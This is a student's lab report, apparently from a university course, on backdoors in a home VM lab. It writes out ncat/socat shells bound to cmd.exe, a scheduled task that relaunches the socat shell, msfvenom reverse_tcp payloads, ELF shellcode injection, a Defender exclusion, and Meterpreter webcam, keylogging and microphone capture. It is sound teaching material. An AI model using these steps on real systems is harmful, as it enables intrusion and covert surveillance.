20242326 2026-2027-1《网络与系统攻防技术》实验二实验报告

20242326 2026-2027-1《网络与系统攻防技术》实验二实验报告

学号:20242326  姓名:姚诗语  班级:2423

实验名称:后门原理及其应用

一、基础知识

(一)后门与反弹 Shell

后门是绕过正常认证或访问流程、让使用者能通过非预期通道重新进入系统的机制。反弹 Shell 则是被控端主动向外发起连接,再通过这条已经建立的通道回传命令和执行结果。

为什么要反弹?因为目标机往往在 NAT 内网或防火墙后面,外面很难直接连进来,但它主动向外连通常是允许的。当然这不是绝对的,出站流量同样可能被防火墙拦。

实验里要分清三个角色:运行程序的机器、接收连接的监听端、传文件的发送端和接收端。比如 msfvenom 里的 LHOST 是"反弹连接要连到哪",也就是监听端所在机器的地址,不一定是 Windows 宿主机的物理网卡 IP。

(二)Netcat、Ncat 与 Socat

Netcat 常用来建 TCP/UDP 连接、监听端口、传数据,它能让我们直接观察网络通道上的标准输入输出。Ncat 是 Nmap 项目里的改进版,本次 Windows 端用的就是它。要注意 Ncat 和老版本 nc 的语法有差别:监听时端口直接跟在 -l 后面,不用 -p;而且 Ncat 默认只处理一个连接,客户端断开后监听就退出,需要重新启动。

Socat 可以理解为"加强版 nc",强调任意两个数据端点之间的双向转发,支持 pty、stderr 重定向等更多配置。获取交互式 Shell 时 socat 配合 exec:cmd.exe,pty,stderr 参数,效果比裸 nc 更像一个真终端。

(三)cron 与 Windows 任务计划

cron 是 Linux 下的定时任务机制,由守护进程按预设时间执行命令,用户任务用 crontab -e 管理。五个时间字段分别是分、时、日、月、星期,* 表示任意。

Windows 对应的东西是任务计划程序(Task Scheduler),可以用图形界面管理,也可以用 schtasks 命令行创建。创建时要注意 /tn 和任务名之间要有空格,整个命令里的引号要用英文引号。

(四)Metasploit、Meterpreter 与 ELF

Metasploit Framework 把渗透测试功能组织成模块:Exploit 是利用漏洞的模块,Payload 是触发后执行的功能代码,Handler 是处理回连的监听模块,Meterpreter 是功能更全的交互式载荷,普通 shell 只有命令解释能力,Meterpreter 还提供了进程迁移、截屏、摄像头、键盘记录等系统级操作接口。

ELF(Executable and Linkable Format)是 Linux 下的可执行文件格式。本次任务五就是把 shellcode 注入到一个 ELF 程序里。

二、实验内容

(一)实验任务

  1. 使用 Netcat/Ncat 获取主机 Shell,cron 启动定时任务
  2. 使用 Socat 获取主机 Shell,通过 Windows 任务计划启动
  3. 使用 MSF 生成可执行后门,经 Netcat 传到 Windows 并运行,获取 Meterpreter 会话
  4. 测试 Meterpreter 的屏幕、摄像头、键盘记录功能并尝试提权
  5. 使用 MSF 生成 Shellcode,注入实践一的 pwn1,验证反弹连接

(二)实验要求问题回答

问题1:列举一个后门进入系统的可能方式。

伪装成正常软件的安装包最典型。比如把后门捆绑进一个破解工具或"绿色版"软件,用户在不可信的下载站下载运行后,后门就在后台随主程序一起跑起来。防范上就是别从不明站点下载可执行文件,运行前查一下数字签名,杀软别关。

问题2:Windows 与 Linux 中后门可能的启动方式有哪些?

Linux 侧:crontab 定时任务、systemd 服务、/etc/rc.local、Shell 启动脚本(~/.bashrc 等)。Windows 侧:任务计划程序、启动文件夹、注册表 Run 键、伪装成系统服务。这些都是系统正常功能,后门借用来实现持久化,所以排查时这些地方都要看。

问题3:Meterpreter 哪些功能让你印象深刻?

摄像头抓拍最让我意外。在对方毫无感知的情况下,Kali 这边一条 webcam_snap 命令,几秒后一张 1920x1080 的照片就存到了我的机器上。以前觉得摄像头有指示灯、有系统权限挡着,实际操作才发现只要会话建立,物理设备同样可以被远程调用。这让人重新理解"中了后门"的代价。

问题4:如何发现系统中可能被安装的后门?

我自己就遇到过一次:这次实验里 Windows Defender 突然弹窗提示发现 Trojan:Win32/Meterpreter,这就是杀软基于特征码发现后门的过程。除此之外,可以定期用 netstat -an 看有没有可疑的外连端口,检查任务计划程序和自启动项里有没有不认识的条目,对可疑文件算一下 MD5 发到在线平台比对,再结合日志分析。

三、实验过程

(一)实验准备

实验环境:Windows 11 宿主机 + VMware Workstation 17 中的 Kali Linux。Windows 登录账户 ASUS,计算机名 LAPTOP-GCUGHPJG;Kali 主机名 yaoshiyu,实验目录 /home/kali/netsec_exp1。

本次实验的网络环境搭得比较曲折,这里先交代结论:VMware 的 NAT 网段为 192.168.232.0/24,Kali 的 eth0 固定为 192.168.232.130,宿主机 VMnet8 网卡为 192.168.232.1。详细排错过程放在第四部分问题1。
alt text
alt text

(二)任务一:Ncat 获取 Shell + cron 定时任务

1. 建立连接

Windows 端(管理员 CMD,ncat 所在目录)启动监听:ncat -l 2311 -e cmd.exe

另开 CMD 验证:netstat -an | findstr 2311

显示 2311 端口 LISTENING。

alt text

Kali 端连接:nc 192.168.232.1 2311

连接后在 Kali 里输入 dir、ipconfig,返回的是 Windows 的结果。第一次截图时中文显示为乱码,查了下是 CMD 默认 GBK 编码导致的,在监听窗口先执行 chcp 65001 切换 UTF-8 后重连,输出就正常了。
alt text
alt text

2. 配置 cron

mkdir -p /home/kali/netsec_exp1
crontab -e

添加任务(每分钟写一次学号文件):

* * * * * echo 20242326 > /home/kali/netsec_exp1/20242326.txt

alt text

等待整分钟后查看:

cat /home/kali/netsec_exp1/20242326.txt

文件内容为 20242326。

alt text

另外观察到:Ncat 在客户端断开后会自己退出监听,不像老版本 nc 可以反复接受连接,每次测试前都要重新启动,这一点和后续端口占用排查有关。

(三)任务二:Socat 获取 Shell + 任务计划启动

1. Socat 连接

Windows 端(socat 目录的 CMD):

socat tcp-listen:2311 exec:cmd.exe,pty,stderr

启动时出现 Couldn't compute FAST_CWD pointer 的提示,查资料得知这是 Cygwin 兼容层的警告,不影响功能。
alt text
Kali 端:

socat -,raw,echo=0 tcp:192.168.232.1 2311

连上后出现了 D:\网络攻防实验\socat> 提示符,socat 通道已经和 Windows cmd 绑定。同样先 chcp 65001 处理了乱码。

alt text

2. 创建任务计划

管理员 CMD 执行:

schtasks /create /tn "20242326ysysocat" /tr "D:\网络攻防实验\socat\socat.exe tcp-listen:2311 exec:cmd.exe,pty,stderr" /sc minute /mo 1

alt text

schtasks /query /tn "20242326ysysocat"

能查到任务。打开 taskschd.msc 图形界面,任务 20242326ysysocat 显示"准备就绪",触发器为"每间隔 00:01:00 重复一次"。

alt text

alt text

截图取证后,在任务计划程序中右键删除了该任务,避免它每分钟拉起 socat 占用 2311 端口影响后续实验。

(四)任务三:MSF 后门 + 传输 + Meterpreter 会话

1. 生成后门

Kali 执行:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.130 LPORT=2311 -f exe > backdoor20242326.exe

注意 LHOST 填的是 Kali 自己的地址 192.168.232.130,因为反弹连接的目标是监听端。

alt text
alt text
alt text
2. 传输与校验

Windows 端(CMD,D:\exp2 目录)接收:

ncat -l 2312 > backdoor20242326.exe

Kali 发送:

nc 192.168.232.1 2312 < backdoor20242326.exe

两端分别计算 MD5:

certutil -hashfile backdoor20242326.exe MD5
md5sum backdoor20242326.exe

两边均为 cd7625f0817caca59092093cacbccf21,传输无损。

alt text
alt text
3. 获取会话

Kali 启动 handler:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.232.130
set LPORT 2311
exploit

Windows 双击运行 backdoor20242326.exe(无界面,属正常现象)。handler 显示 Meterpreter session 1 opened。

alt text

会话中执行:

sysinfo
getuid
pwd
ls

得到:Windows 11 24H2,x64,Meterpreter x86/windows;当前用户 LAPTOP-GCUGHPJG\ASUS;工作目录 D:\exp2,能看到后门程序本身。

alt text

(五)任务四:Meterpreter 功能测试

1. 截屏与摄像头

screenshot

返回保存路径 /home/kali/xxxx.jpeg,在 Kali 文件管理器中打开,内容为 Windows 当前桌面。

alt text

webcam_snap


返回 Got frame,抓到 1920x1080 的照片并保存为 jpeg。在图像查看器中打开确认。
![alt text](https://img2024.cnblogs.com/blog/3856972/202610/3856972-20261019121222677-6532964.png)


**2. 键盘记录**

keyscan_start

切到 Windows 打开记事本输入 20242326,切回 Kali:

keyscan_dump

![alt text](https://img2024.cnblogs.com/blog/3856972/202610/3856972-20261019121222906-1675252878.png)
![alt text](https://img2024.cnblogs.com/blog/3856972/202610/3856972-20261019121223202-367455176.png)


**3. 录音(附加尝试)**

record_mic -d 5


成功保存 /home/kali/VzPONXRf.wav。

![alt text](https://img2024.cnblogs.com/blog/3856972/202610/3856972-20261019121223490-601544249.png)

**4. 提权尝试**

getsystem


依次尝试了 Named Pipe Impersonation(In Memory/Dropper/Admin 等四种变体)、Token Duplication、EFSRPC(EfsPotato)等技术,均失败。

(此处插入截图:getsystem 输出)

getuid


当前用户仍是 LAPTOP-GCUGHPJG\ASUS,未提升为 SYSTEM。结论:getsystem 只是"尝试过",不能据此认为提权成功,最终以 getuid 的验证为准。

![alt text](https://img2024.cnblogs.com/blog/3856972/202610/3856972-20261019121223765-1945383232.png)

### (六)任务五:Shellcode 注入 pwn1

**1. 生成注入文件**

pwn1_20242326 位于 Kali 桌面,file 验证为 ELF 32-bit LSB executable。

```bash
cd ~/Desktop
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.232.130 LPORT=2311 -x pwn1_20242326 -f elf > 20242326_pwn

2. 发现生成异常

首次生成结果只有 123 字节,file 显示为 data 而非 ELF——这说明输出根本不是可执行文件。此时无论怎么调 GDB 和栈地址都没有意义,问题出在生成阶段。

alt text
alt text

排查方向转向 Metasploit 本身。查看 /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb 中的 to_linux_x86_custom_elf 函数,发现函数末尾是一条对 elf 变量的赋值表达式。Ruby 的方法默认把最后一个表达式的值作为返回值,赋值表达式的值是右边的 code,于是函数实际返回的是 123 字节的裸 payload,组装好的完整 elf 被丢掉了。

3. 修复并重新生成

先备份:

sudo cp /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb ~/x86.rb.bak

在赋值语句后追加一行 elf,显式返回完整 elf,保存后语法检查:

ruby -c /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb
# Syntax OK

alt text

重新执行 msfvenom,Final size of elf file 变为 7419 字节,与原始 pwn1 大小一致。

alt text
alt text
alt text
4. 验证文件结构

file 20242326_pwn
ls -l 20242326_pwn
readelf -l 20242326_pwn

确认:ELF 32-bit LSB executable,Intel i386;大小 7419 字节;第一个 LOAD 段权限由 R E 变为 RWE(注入代码所在段被改写成可写)。

5. 反弹连接验证

handler 换用 payload linux/x86/meterpreter/reverse_tcp 后 exploit,另一个终端运行:

chmod +x ~/Desktop/20242326_pwn
~/Desktop/20242326_pwn

程序无输出运行,handler 显示 Sending stage (1062760 bytes),随后 Meterpreter session 1 opened。

alt text

pwd
ls

返回 /home/kali 及目录内容,与任务三的 Windows 会话(D:\exp2)完全不同,证明这是 ELF 注入后在本机 Kali 上运行产生的 Linux 会话。

alt text

至此五个任务全部完成。

四、问题及解决方案

问题1:虚拟机与宿主机完全 ping 不通(本次实验耗时最长的问题)

现象:Kali(192.168.117.130)与 Windows 互相 ping 不通,Windows 侧先提示"无法访问目标主机",后来又出现"来自 10.100.0.133 的回复:TTL 传输中过期"——说明流量根本没走虚拟网卡,而是从物理网卡泄漏到了校园网里。

排查过程:

  • 发现 VMware Network Adapter VMnet8 的 IP 变成了 169.254.x.x(DHCP 获取失败),手动设为 192.168.117.1 后,本机一侧恢复了;
  • 用 sc query 检查发现 VMware NAT Service 正常,但 VMware DHCP Service 显示"指定的服务未安装";
  • 在虚拟网络编辑器里"还原默认设置"、用安装包修复(Repair)、重启电脑,网段换成了 192.168.232.0/24,但 DHCP 服务仍然装不回来;
  • 全盘搜索 vmnetdhcp.exe 也找不到文件,判断安装包缺少该组件。

解决方案:放弃修复 DHCP,改用静态 IP 绕过——Kali 手动配置 192.168.232.130/24、网关 192.168.232.2,双向 ping 通。这说明 DHCP 服务只负责自动分配地址,NAT 转发(NAT Service)完好时,静态配置可以达到同样效果。代价是每次重启 Kali 要重新配置。

经验:排查网络问题要先分清"地址分配"和"数据转发"两个层面,这次最大的弯路是一开始把两者混在一起查。
alt text
alt text
alt text
问题2:后门文件被 Windows Defender 隔离

现象:ncat 传输完成后,certutil 计算 MD5 失败,报 0x80070002(文件不存在),同时右下角弹出"Microsoft Defender 已发现威胁"。

排查:打开 Windows 安全中心 → 保护历史记录,发现 backdoor20242326.exe 被识别为 Trojan:Win32/Meterpreter.RPZ!MTB 并隔离。

解决:先在"病毒和威胁防护设置 → 排除项"中添加文件夹 D:\exp2,再还原被隔离的文件,重新计算 MD5,与 Kali 端一致。这个经历恰好验证了思考题4——杀软特征码查杀是发现后门的有效手段之一。

问题3:msfvenom 生成 123 字节的"假 ELF"

见任务五。核心教训:调试问题前必须先验证生成物本身。我开始时一直在按实验一的思路怀疑栈地址和输入构造,后来才发现生成的文件根本不是 ELF。另外修改工具源码前先备份(本次备份为 ~/x86.rb.bak),改完用 ruby -c 做语法检查,这两步保证了改动可控、可回退。

问题4:多条命令粘贴导致执行混乱

实验中两次犯同一个错:把多条命令一次性粘进终端,恰好赶上 sudo 要求输入密码,后面的命令全部成了密码内容,导致认证失败;另一次是 msfvenom 命令被换行截成两段,前半段直接把 payload 打在了屏幕上。后来凡是涉及 sudo 的命令都改成一次只输一条。这类"低级错误"其实最能提醒人:终端是逐行解释执行的,粘贴多行内容前要想清楚每一行会在什么状态下被读到。

五、学习感悟

这次实验最深刻的体会不是学会了哪条命令,而是学会了"怎么确认自己真的成功了"。任务三里,文件明明已经出现在 Windows 目录里,却因为传输环节的问题不能运行,最后靠两端 MD5 比对才确认真的是同一个文件;任务五里,msfvenom"运行成功"输出了文件,结果只有 123 字节,一查根本不是 ELF。命令"没报错"和"做对了"之间,隔着验证这一步。

任务五的源码排查也让我对"工具有 bug"这件事有了实感。以前觉得出问题绝对是自己的原因,实际上 to_linux_x86_custom_elf 的返回值处理就是一个真实的缺陷,而且表现非常迷惑——不报错、正常退出,只是结果不对。这提醒我排错时要敢于怀疑工具本身。

摄像头抓拍的图片弹出来的那一刻,我确实被震了一下——如果这不是自己的电脑,被拍的人完全无感知,(根本没有表情管理的时间。。。)。Meterpreter 能做的远不止弹个 shell。理解了攻击方的能力边界,才能真正理解防守方为什么要查自启动、查外连、保持杀软更新。这大概也是这门课把"如何发现后门"列为必答题的原因。

其实这次试验是真的想把它好好做出来,因为之前一直觉得这些东西太难,怀疑自己到底能不能完成,之前上课也没好好听,有破罐子破摔的想法,这次实验的完成是一个良好的开端,希望以后我也能不怕花时间,不怕不会做,争取拿一个高分吧。

参考资料

posted @ 2026-10-19 12:52  恩呢呗  阅读(2)  评论(0)    收藏  举报